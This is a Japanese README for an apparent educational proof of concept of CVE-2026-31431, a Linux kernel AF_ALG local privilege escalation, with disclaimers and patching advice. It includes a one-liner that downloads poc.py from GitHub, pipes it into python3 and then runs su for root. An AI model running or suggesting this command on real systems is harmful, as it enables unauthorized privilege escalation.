CVE-2026-31431 の教育用 Proof of Concept です。Copy Fail としても知られる、Linux カーネルの AF_ALG / algif_aead 暗号インターフェースに関わるローカル権限昇格の脆弱性です。
[!WARNING] このリポジトリは、教育、防御、および許可されたセキュリティ研究の目的のみで提供されています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムでは、このコードを実行しないでください。
許可のない使用は違法となる可能性があります。
CVE-2026-31431 は、Linux カーネルの暗号サブシステムに影響を与えるローカル権限昇格の脆弱性です。
この脆弱性は、AF_ALG インターフェースを通じて公開される AEAD パスに関係しており、ローカルの非特権ユーザーが読み取り可能なファイルに関連するページキャッシュデータに干渉し、脆弱なシステム上で権限昇格につながる可能性があります。
このリポジトリには、管理されたラボ環境を対象とした最小限の教育用 Proof of Concept が含まれています。
対象システムは、必要な AF_ALG AEAD アルゴリズムを公開している必要があります。
これは次のコマンドで確認できます:
grep -i "authencesn\|authenc" /proc/crypto
PoC は、次のようなアルゴリズムのサポートを期待しています:
authencesn(hmac(sha256),cbc(aes))
アルゴリズムが利用できない場合、PoC は次のようなエラーで失敗する可能性があります:
FileNotFoundError: [Errno 2] No such file or directory
これは、必要なカーネル暗号アルゴリズムがシステム上で利用できないことを意味します。
リポジトリをクローンします:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
PoC を実行します:
python3 poc.py
または直接実行します:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
一部の Linux システムでは、/usr/bin/su の代わりに /bin/su を使用します。正しいパスは次のコマンドで確認できます:
which su
必要に応じて、poc.py 内のターゲットパスを調整してください。
authencesn(hmac(sha256),cbc(aes)) へのバインド中に FileNotFoundError: [Errno 2] No such file or directory が発生した場合、必要なカーネルアルゴリズムが利用できません。
利用可能な暗号アルゴリズムを確認します:
cat /proc/crypto
またはより具体的に:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
PoC が /usr/bin/su を参照しているが、システムが /bin/su を使用している場合は、次のコマンドで確認します:
which su
その後、poc.py 内のパスをそれに応じて更新してください。
防御側は、ディストリビューションベンダーが提供するパッチ適用済みの Linux カーネルバージョンに更新する必要があります。
カーネルを更新した後、システムを再起動して、パッチ適用済みカーネルがアクティブであることを確認してください。
一時的な緩和策としては、環境とディストリビューションに応じて、影響を受けるカーネル暗号機能へのアクセスを制限することが含まれる場合があります。
このプロジェクトは以下の目的のみを意図しています:
作者は、このコードによって引き起こされる誤用、損害、または違法行為について責任を負いません。
明示的な許可があるシステムでのみ使用してください。
このプロジェクトは MIT ライセンスの下でライセンスされています。